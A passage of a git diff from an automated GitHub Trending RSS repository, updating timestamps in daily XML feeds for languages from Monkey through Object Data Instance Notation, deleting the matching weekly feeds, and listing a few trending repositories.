http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:20Z - Weekly Trending of Monkey C in GitHub - - \ No newline at end of file diff --git a/monkey/daily/index.xml b/monkey/daily/index.xml index 385c8e373ff..7f06965e89d 100644 --- a/monkey/daily/index.xml +++ b/monkey/daily/index.xml @@ -1,7 +1,7 @@ GitHub Monkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:02Z + 2023-10-30T01:32:02Z Daily Trending of Monkey in GitHub \ No newline at end of file diff --git a/monkey/weekly/index.xml b/monkey/weekly/index.xml deleted file mode 100644 index acec2748a07..00000000000 --- a/monkey/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Monkey Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:21Z - Weekly Trending of Monkey in GitHub - - - Ferddi/pbnet-monkey - 2023-10-29T01:57:21Z - tag:github.com,2023-10-29:/Ferddi/pbnet-monkey - - <p>PushButton Networking for Monkey</p><hr> - - \ No newline at end of file diff --git a/moocode/daily/index.xml b/moocode/daily/index.xml index f97bcc346f2..e17378114d0 100644 --- a/moocode/daily/index.xml +++ b/moocode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Moocode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:59Z + 2023-10-30T01:32:04Z Daily Trending of Moocode in GitHub \ No newline at end of file diff --git a/moocode/weekly/index.xml b/moocode/weekly/index.xml deleted file mode 100644 index a15a3d3dc9e..00000000000 --- a/moocode/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Moocode Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:22Z - Weekly Trending of Moocode in GitHub - - \ No newline at end of file diff --git a/moonscript/daily/index.xml b/moonscript/daily/index.xml index cecfe6341fd..053d608c177 100644 --- a/moonscript/daily/index.xml +++ b/moonscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub MoonScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:05Z + 2023-10-30T01:32:05Z Daily Trending of MoonScript in GitHub \ No newline at end of file diff --git a/moonscript/weekly/index.xml b/moonscript/weekly/index.xml deleted file mode 100644 index 2f7dd8c2b99..00000000000 --- a/moonscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MoonScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:24Z - Weekly Trending of MoonScript in GitHub - - \ No newline at end of file diff --git a/motoko/daily/index.xml b/motoko/daily/index.xml index a33b953ab2c..261f825313c 100644 --- a/motoko/daily/index.xml +++ b/motoko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Motoko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:06Z + 2023-10-30T01:32:07Z Daily Trending of Motoko in GitHub \ No newline at end of file diff --git a/motoko/weekly/index.xml b/motoko/weekly/index.xml deleted file mode 100644 index bafc84a1538..00000000000 --- a/motoko/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Motoko Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:25Z - Weekly Trending of Motoko in GitHub - - \ No newline at end of file diff --git a/motorola-68k-assembly/daily/index.xml b/motorola-68k-assembly/daily/index.xml index 9bef3ab646b..ae708f904a9 100644 --- a/motorola-68k-assembly/daily/index.xml +++ b/motorola-68k-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Motorola 68K Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:04Z + 2023-10-30T01:32:07Z Daily Trending of Motorola 68K Assembly in GitHub \ No newline at end of file diff --git a/motorola-68k-assembly/weekly/index.xml b/motorola-68k-assembly/weekly/index.xml deleted file mode 100644 index 35cc0bb7460..00000000000 --- a/motorola-68k-assembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Motorola 68K Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:23Z - Weekly Trending of Motorola 68K Assembly in GitHub - - \ No newline at end of file diff --git a/mql4/daily/index.xml b/mql4/daily/index.xml index 26570bc60d1..6141af33304 100644 --- a/mql4/daily/index.xml +++ b/mql4/daily/index.xml @@ -1,7 +1,7 @@ GitHub MQL4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:09Z + 2023-10-30T01:32:11Z Daily Trending of MQL4 in GitHub \ No newline at end of file diff --git a/mql4/weekly/index.xml b/mql4/weekly/index.xml deleted file mode 100644 index 9ef2c129830..00000000000 --- a/mql4/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MQL4 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:28Z - Weekly Trending of MQL4 in GitHub - - \ No newline at end of file diff --git a/mql5/daily/index.xml b/mql5/daily/index.xml index caea76f65df..98857bf0bdc 100644 --- a/mql5/daily/index.xml +++ b/mql5/daily/index.xml @@ -1,7 +1,7 @@ GitHub MQL5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:09Z + 2023-10-30T01:32:09Z Daily Trending of MQL5 in GitHub \ No newline at end of file diff --git a/mql5/weekly/index.xml b/mql5/weekly/index.xml deleted file mode 100644 index 87567b69ee7..00000000000 --- a/mql5/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MQL5 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:27Z - Weekly Trending of MQL5 in GitHub - - \ No newline at end of file diff --git a/mtml/daily/index.xml b/mtml/daily/index.xml index 58308100d33..d67b65429d7 100644 --- a/mtml/daily/index.xml +++ b/mtml/daily/index.xml @@ -1,7 +1,7 @@ GitHub MTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:08Z + 2023-10-30T01:32:10Z Daily Trending of MTML in GitHub \ No newline at end of file diff --git a/mtml/weekly/index.xml b/mtml/weekly/index.xml deleted file mode 100644 index d110d196955..00000000000 --- a/mtml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MTML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:29Z - Weekly Trending of MTML in GitHub - - \ No newline at end of file diff --git a/muf/daily/index.xml b/muf/daily/index.xml index a60d99614e7..53a29354e94 100644 --- a/muf/daily/index.xml +++ b/muf/daily/index.xml @@ -1,7 +1,7 @@ GitHub MUF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:07Z + 2023-10-30T01:32:09Z Daily Trending of MUF in GitHub \ No newline at end of file diff --git a/muf/weekly/index.xml b/muf/weekly/index.xml deleted file mode 100644 index 1fb6523fd94..00000000000 --- a/muf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MUF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:29Z - Weekly Trending of MUF in GitHub - - \ No newline at end of file diff --git a/mupad/daily/index.xml b/mupad/daily/index.xml index 0811decc19a..57d86b8381c 100644 --- a/mupad/daily/index.xml +++ b/mupad/daily/index.xml @@ -1,7 +1,7 @@ GitHub mupad Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:11Z + 2023-10-30T01:32:12Z Daily Trending of mupad in GitHub \ No newline at end of file diff --git a/mupad/weekly/index.xml b/mupad/weekly/index.xml deleted file mode 100644 index 9cf24dc5cd1..00000000000 --- a/mupad/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub mupad Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:32Z - Weekly Trending of mupad in GitHub - - \ No newline at end of file diff --git a/muse/daily/index.xml b/muse/daily/index.xml index da41436fc23..bd74099f9d6 100644 --- a/muse/daily/index.xml +++ b/muse/daily/index.xml @@ -1,7 +1,7 @@ GitHub Muse Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:12Z + 2023-10-30T01:32:12Z Daily Trending of Muse in GitHub \ No newline at end of file diff --git a/muse/weekly/index.xml b/muse/weekly/index.xml deleted file mode 100644 index 70b7c98876b..00000000000 --- a/muse/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Muse Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:31Z - Weekly Trending of Muse in GitHub - - \ No newline at end of file diff --git a/mustache/daily/index.xml b/mustache/daily/index.xml index 607a5aef2c5..ed9c42b5266 100644 --- a/mustache/daily/index.xml +++ b/mustache/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mustache Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:16Z + 2023-10-30T01:32:14Z Daily Trending of Mustache in GitHub \ No newline at end of file diff --git a/mustache/weekly/index.xml b/mustache/weekly/index.xml deleted file mode 100644 index 779be4ae214..00000000000 --- a/mustache/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mustache Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:35Z - Weekly Trending of Mustache in GitHub - - \ No newline at end of file diff --git a/myghty/daily/index.xml b/myghty/daily/index.xml index 85d40328e01..b6af0867a3b 100644 --- a/myghty/daily/index.xml +++ b/myghty/daily/index.xml @@ -1,7 +1,7 @@ GitHub Myghty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:11Z + 2023-10-30T01:32:13Z Daily Trending of Myghty in GitHub \ No newline at end of file diff --git a/myghty/weekly/index.xml b/myghty/weekly/index.xml deleted file mode 100644 index 0e2c4034e87..00000000000 --- a/myghty/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Myghty Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:31Z - Weekly Trending of Myghty in GitHub - - \ No newline at end of file diff --git a/nanorc/daily/index.xml b/nanorc/daily/index.xml index 39f5b4205e0..109e7014750 100644 --- a/nanorc/daily/index.xml +++ b/nanorc/daily/index.xml @@ -1,7 +1,7 @@ GitHub nanorc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:19Z + 2023-10-30T01:32:16Z Daily Trending of nanorc in GitHub \ No newline at end of file diff --git a/nanorc/weekly/index.xml b/nanorc/weekly/index.xml deleted file mode 100644 index 7244eaae9eb..00000000000 --- a/nanorc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub nanorc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:36Z - Weekly Trending of nanorc in GitHub - - \ No newline at end of file diff --git a/nasl/daily/index.xml b/nasl/daily/index.xml index 422365f3c21..77b0986f6d5 100644 --- a/nasl/daily/index.xml +++ b/nasl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:18Z + 2023-10-30T01:32:17Z Daily Trending of NASL in GitHub \ No newline at end of file diff --git a/nasl/weekly/index.xml b/nasl/weekly/index.xml deleted file mode 100644 index 2b80553c5b3..00000000000 --- a/nasl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NASL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:39Z - Weekly Trending of NASL in GitHub - - \ No newline at end of file diff --git a/ncl/daily/index.xml b/ncl/daily/index.xml index 94e445af669..33f5d349beb 100644 --- a/ncl/daily/index.xml +++ b/ncl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:20Z + 2023-10-30T01:32:18Z Daily Trending of NCL in GitHub \ No newline at end of file diff --git a/ncl/weekly/index.xml b/ncl/weekly/index.xml deleted file mode 100644 index 3299bee26f1..00000000000 --- a/ncl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:37Z - Weekly Trending of NCL in GitHub - - \ No newline at end of file diff --git a/nearley/daily/index.xml b/nearley/daily/index.xml index 704ace17509..a0324fdf10e 100644 --- a/nearley/daily/index.xml +++ b/nearley/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nearley Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:24Z + 2023-10-30T01:32:19Z Daily Trending of Nearley in GitHub \ No newline at end of file diff --git a/nearley/weekly/index.xml b/nearley/weekly/index.xml deleted file mode 100644 index 05994243f65..00000000000 --- a/nearley/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nearley Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:42Z - Weekly Trending of Nearley in GitHub - - \ No newline at end of file diff --git a/nemerle/daily/index.xml b/nemerle/daily/index.xml index d067faa9109..9f15a179e07 100644 --- a/nemerle/daily/index.xml +++ b/nemerle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nemerle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:25Z + 2023-10-30T01:32:20Z Daily Trending of Nemerle in GitHub \ No newline at end of file diff --git a/nemerle/weekly/index.xml b/nemerle/weekly/index.xml deleted file mode 100644 index 55261d822c0..00000000000 --- a/nemerle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nemerle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:40Z - Weekly Trending of Nemerle in GitHub - - \ No newline at end of file diff --git a/neon/daily/index.xml b/neon/daily/index.xml index d6ac9a6838c..f2592cb3274 100644 --- a/neon/daily/index.xml +++ b/neon/daily/index.xml @@ -1,7 +1,7 @@ GitHub NEON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:23Z + 2023-10-30T01:32:19Z Daily Trending of NEON in GitHub \ No newline at end of file diff --git a/neon/weekly/index.xml b/neon/weekly/index.xml deleted file mode 100644 index ee91781ee16..00000000000 --- a/neon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NEON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:41Z - Weekly Trending of NEON in GitHub - - \ No newline at end of file diff --git a/nesc/daily/index.xml b/nesc/daily/index.xml index 2bb468fe661..a6106cd1bdc 100644 --- a/nesc/daily/index.xml +++ b/nesc/daily/index.xml @@ -1,7 +1,7 @@ GitHub nesC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:22Z + 2023-10-30T01:32:21Z Daily Trending of nesC in GitHub \ No newline at end of file diff --git a/nesc/weekly/index.xml b/nesc/weekly/index.xml deleted file mode 100644 index 044cc4b7aa0..00000000000 --- a/nesc/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub nesC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:43Z - Weekly Trending of nesC in GitHub - - - rflynn/elements - 2023-10-29T01:57:43Z - tag:github.com,2023-10-29:/rflynn/elements - - <p>periodic table tiles crafted from the elements themselves</p><hr> - - \ No newline at end of file diff --git a/netlinx+erb/daily/index.xml b/netlinx+erb/daily/index.xml index 3d5a907e519..fdc70e05a5d 100644 --- a/netlinx+erb/daily/index.xml +++ b/netlinx+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLinx+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:26Z + 2023-10-30T01:32:23Z Daily Trending of NetLinx+ERB in GitHub \ No newline at end of file diff --git a/netlinx+erb/weekly/index.xml b/netlinx+erb/weekly/index.xml deleted file mode 100644 index c548348ad8c..00000000000 --- a/netlinx+erb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NetLinx+ERB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:44Z - Weekly Trending of NetLinx+ERB in GitHub - - \ No newline at end of file diff --git a/netlinx/daily/index.xml b/netlinx/daily/index.xml index cf26375b018..d3c3bf04232 100644 --- a/netlinx/daily/index.xml +++ b/netlinx/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLinx Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:28Z + 2023-10-30T01:32:22Z Daily Trending of NetLinx in GitHub \ No newline at end of file diff --git a/netlinx/weekly/index.xml b/netlinx/weekly/index.xml deleted file mode 100644 index 9042d80a8f6..00000000000 --- a/netlinx/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NetLinx Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:45Z - Weekly Trending of NetLinx in GitHub - - \ No newline at end of file diff --git a/netlogo/daily/index.xml b/netlogo/daily/index.xml index 4a01ef8b882..324ddf58dca 100644 --- a/netlogo/daily/index.xml +++ b/netlogo/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLogo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:29Z + 2023-10-30T01:32:23Z Daily Trending of NetLogo in GitHub \ No newline at end of file diff --git a/netlogo/weekly/index.xml b/netlogo/weekly/index.xml deleted file mode 100644 index 356c2f0614f..00000000000 --- a/netlogo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NetLogo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:46Z - Weekly Trending of NetLogo in GitHub - - \ No newline at end of file diff --git a/newlisp/daily/index.xml b/newlisp/daily/index.xml index 93097d8c60f..0288e379890 100644 --- a/newlisp/daily/index.xml +++ b/newlisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub NewLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:27Z + 2023-10-30T01:32:24Z Daily Trending of NewLisp in GitHub \ No newline at end of file diff --git a/newlisp/weekly/index.xml b/newlisp/weekly/index.xml deleted file mode 100644 index e6da5672afa..00000000000 --- a/newlisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NewLisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:45Z - Weekly Trending of NewLisp in GitHub - - \ No newline at end of file diff --git a/nextflow/daily/index.xml b/nextflow/daily/index.xml index 0f0e3e98425..5c413887917 100644 --- a/nextflow/daily/index.xml +++ b/nextflow/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nextflow Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:32Z + 2023-10-30T01:32:26Z Daily Trending of Nextflow in GitHub \ No newline at end of file diff --git a/nextflow/weekly/index.xml b/nextflow/weekly/index.xml deleted file mode 100644 index 318e5d2e3db..00000000000 --- a/nextflow/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Nextflow Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:50Z - Weekly Trending of Nextflow in GitHub - - - phac-nml/mikrokondo - 2023-10-29T01:57:50Z - tag:github.com,2023-10-29:/phac-nml/mikrokondo - - <p>A simple pipeline for bacterial assembly and quality control</p><hr> - - - scilus/nf-scil - 2023-10-29T01:57:50Z - tag:github.com,2023-10-29:/scilus/nf-scil - - <p>SCIL Nextflow Toolbox</p><hr> - - \ No newline at end of file diff --git a/nginx/daily/index.xml b/nginx/daily/index.xml index f4770fe0649..68b10e1591b 100644 --- a/nginx/daily/index.xml +++ b/nginx/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nginx Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:31Z + 2023-10-30T01:32:25Z Daily Trending of Nginx in GitHub \ No newline at end of file diff --git a/nginx/weekly/index.xml b/nginx/weekly/index.xml deleted file mode 100644 index 0da81e904a8..00000000000 --- a/nginx/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nginx Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:51Z - Weekly Trending of Nginx in GitHub - - \ No newline at end of file diff --git a/nim/daily/index.xml b/nim/daily/index.xml index b1ef406a10f..f028546d70d 100644 --- a/nim/daily/index.xml +++ b/nim/daily/index.xml @@ -1,7 +1,14 @@ GitHub Nim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:33Z + 2023-10-30T01:32:27Z Daily Trending of Nim in GitHub + + opensource-force/ircd + 2023-10-30T01:32:27Z + tag:github.com,2023-10-30:/opensource-force/ircd + + <p>A minimal IRC server written in Nim</p><hr> + \ No newline at end of file diff --git a/nim/weekly/index.xml b/nim/weekly/index.xml deleted file mode 100644 index 493802c65cf..00000000000 --- a/nim/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nim Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:48Z - Weekly Trending of Nim in GitHub - - \ No newline at end of file diff --git a/ninja/daily/index.xml b/ninja/daily/index.xml index ed24d7684bc..db10138560e 100644 --- a/ninja/daily/index.xml +++ b/ninja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ninja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:30Z + 2023-10-30T01:32:28Z Daily Trending of Ninja in GitHub \ No newline at end of file diff --git a/ninja/weekly/index.xml b/ninja/weekly/index.xml deleted file mode 100644 index 3045212e6b8..00000000000 --- a/ninja/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ninja Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:47Z - Weekly Trending of Ninja in GitHub - - \ No newline at end of file diff --git a/nit/daily/index.xml b/nit/daily/index.xml index fe67f63d3a1..eef9792a972 100644 --- a/nit/daily/index.xml +++ b/nit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:35Z + 2023-10-30T01:32:29Z Daily Trending of Nit in GitHub \ No newline at end of file diff --git a/nit/weekly/index.xml b/nit/weekly/index.xml deleted file mode 100644 index ed999a13d77..00000000000 --- a/nit/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nit Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:55Z - Weekly Trending of Nit in GitHub - - \ No newline at end of file diff --git a/nix/daily/index.xml b/nix/daily/index.xml index ed8206f80c2..5673c17f4e7 100644 --- a/nix/daily/index.xml +++ b/nix/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nix Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:39Z + 2023-10-30T01:32:32Z Daily Trending of Nix in GitHub \ No newline at end of file diff --git a/nix/weekly/index.xml b/nix/weekly/index.xml deleted file mode 100644 index 966f676c921..00000000000 --- a/nix/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nix Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:55Z - Weekly Trending of Nix in GitHub - - \ No newline at end of file diff --git a/nl/daily/index.xml b/nl/daily/index.xml index 2bf0f2e4ca0..b5e683b202f 100644 --- a/nl/daily/index.xml +++ b/nl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:36Z + 2023-10-30T01:32:30Z Daily Trending of NL in GitHub \ No newline at end of file diff --git a/nl/weekly/index.xml b/nl/weekly/index.xml deleted file mode 100644 index 9ee05a6ff4d..00000000000 --- a/nl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:52Z - Weekly Trending of NL in GitHub - - \ No newline at end of file diff --git a/npm-config/daily/index.xml b/npm-config/daily/index.xml index fedada850a7..7d05034c8af 100644 --- a/npm-config/daily/index.xml +++ b/npm-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub NPM Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:37Z + 2023-10-30T01:32:29Z Daily Trending of NPM Config in GitHub \ No newline at end of file diff --git a/npm-config/weekly/index.xml b/npm-config/weekly/index.xml deleted file mode 100644 index 49b59bd80e9..00000000000 --- a/npm-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NPM Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:52Z - Weekly Trending of NPM Config in GitHub - - \ No newline at end of file diff --git a/nsis/daily/index.xml b/nsis/daily/index.xml index 0c285356839..b3c71cee272 100644 --- a/nsis/daily/index.xml +++ b/nsis/daily/index.xml @@ -1,7 +1,7 @@ GitHub NSIS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:41Z + 2023-10-30T01:32:35Z Daily Trending of NSIS in GitHub \ No newline at end of file diff --git a/nsis/weekly/index.xml b/nsis/weekly/index.xml deleted file mode 100644 index 5fbd31967b5..00000000000 --- a/nsis/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NSIS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:58Z - Weekly Trending of NSIS in GitHub - - \ No newline at end of file diff --git a/nu/daily/index.xml b/nu/daily/index.xml index 2ab024004e6..8b5a122967a 100644 --- a/nu/daily/index.xml +++ b/nu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:40Z + 2023-10-30T01:32:33Z Daily Trending of Nu in GitHub \ No newline at end of file diff --git a/nu/weekly/index.xml b/nu/weekly/index.xml deleted file mode 100644 index 135df190764..00000000000 --- a/nu/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nu Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:57Z - Weekly Trending of Nu in GitHub - - \ No newline at end of file diff --git a/numpy/daily/index.xml b/numpy/daily/index.xml index ed8e49dde26..3bae50a35ae 100644 --- a/numpy/daily/index.xml +++ b/numpy/daily/index.xml @@ -1,7 +1,7 @@ GitHub NumPy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:42Z + 2023-10-30T01:32:36Z Daily Trending of NumPy in GitHub \ No newline at end of file diff --git a/numpy/weekly/index.xml b/numpy/weekly/index.xml deleted file mode 100644 index 37fac8932e6..00000000000 --- a/numpy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NumPy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:59Z - Weekly Trending of NumPy in GitHub - - \ No newline at end of file diff --git a/nunjucks/daily/index.xml b/nunjucks/daily/index.xml index fe38f3faf2a..e0116f86ad3 100644 --- a/nunjucks/daily/index.xml +++ b/nunjucks/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nunjucks Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:43Z + 2023-10-30T01:32:34Z Daily Trending of Nunjucks in GitHub \ No newline at end of file diff --git a/nunjucks/weekly/index.xml b/nunjucks/weekly/index.xml deleted file mode 100644 index 477505a633a..00000000000 --- a/nunjucks/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nunjucks Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:58Z - Weekly Trending of Nunjucks in GitHub - - \ No newline at end of file diff --git a/nwscript/daily/index.xml b/nwscript/daily/index.xml index e5614b4a68a..00b0c449cbe 100644 --- a/nwscript/daily/index.xml +++ b/nwscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub NWScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:45Z + 2023-10-30T01:32:38Z Daily Trending of NWScript in GitHub \ No newline at end of file diff --git a/nwscript/weekly/index.xml b/nwscript/weekly/index.xml deleted file mode 100644 index a747f6218ed..00000000000 --- a/nwscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NWScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:03Z - Weekly Trending of NWScript in GitHub - - \ No newline at end of file diff --git a/objdump/daily/index.xml b/objdump/daily/index.xml index e6fbb6c6aea..c103883ee6e 100644 --- a/objdump/daily/index.xml +++ b/objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:48Z + 2023-10-30T01:32:43Z Daily Trending of ObjDump in GitHub \ No newline at end of file diff --git a/objdump/weekly/index.xml b/objdump/weekly/index.xml deleted file mode 100644 index d61b8421aa7..00000000000 --- a/objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:07Z - Weekly Trending of ObjDump in GitHub - - \ No newline at end of file diff --git a/object-data-instance-notation/daily/index.xml b/object-data-instance-notation/daily/index.xml index 2133b5429fa..8993a4d3ef3 100644 --- a/object-data-instance-notation/daily/index.xml +++ b/object-data-instance-notation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Object Data Instance Notation Daily Trending 